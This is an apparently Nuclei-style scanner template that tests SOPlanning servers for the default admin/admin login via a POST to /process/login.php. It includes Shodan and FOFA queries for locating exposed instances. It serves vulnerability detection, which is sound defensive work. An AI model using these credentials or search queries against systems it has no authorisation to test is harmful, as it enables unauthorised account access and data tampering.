id: soplanning-default-login

info:
  name: SOPlanning - Default Login
  author: s4e-io
  severity: high
  description: |
    SOPlanning contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://www.soplanning.org/en/
  metadata:
    verified: true
    max-request: 1
    vendor: soplanning
    product: soplanning
    shodan-query:
      - html:"soplanning"
      - http.html:"soplanning"
    fofa-query: body="soplanning"
  tags: soplanning,default-login

http:
  - raw:
      - |
        POST /process/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'title="Logout"'
          - 'title="Modify my profile"'
          - "Settings"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022031b7329b1a7058d6e9e8da8afee64ded4cefb3b998905f9b6103b341c58efa66022100a1aa20f7aa4c336311fc593239b7b11bf0cb028e0a09a4af1e3339c1a6fd3c55:922c64590222798bb761d5b6d8e72950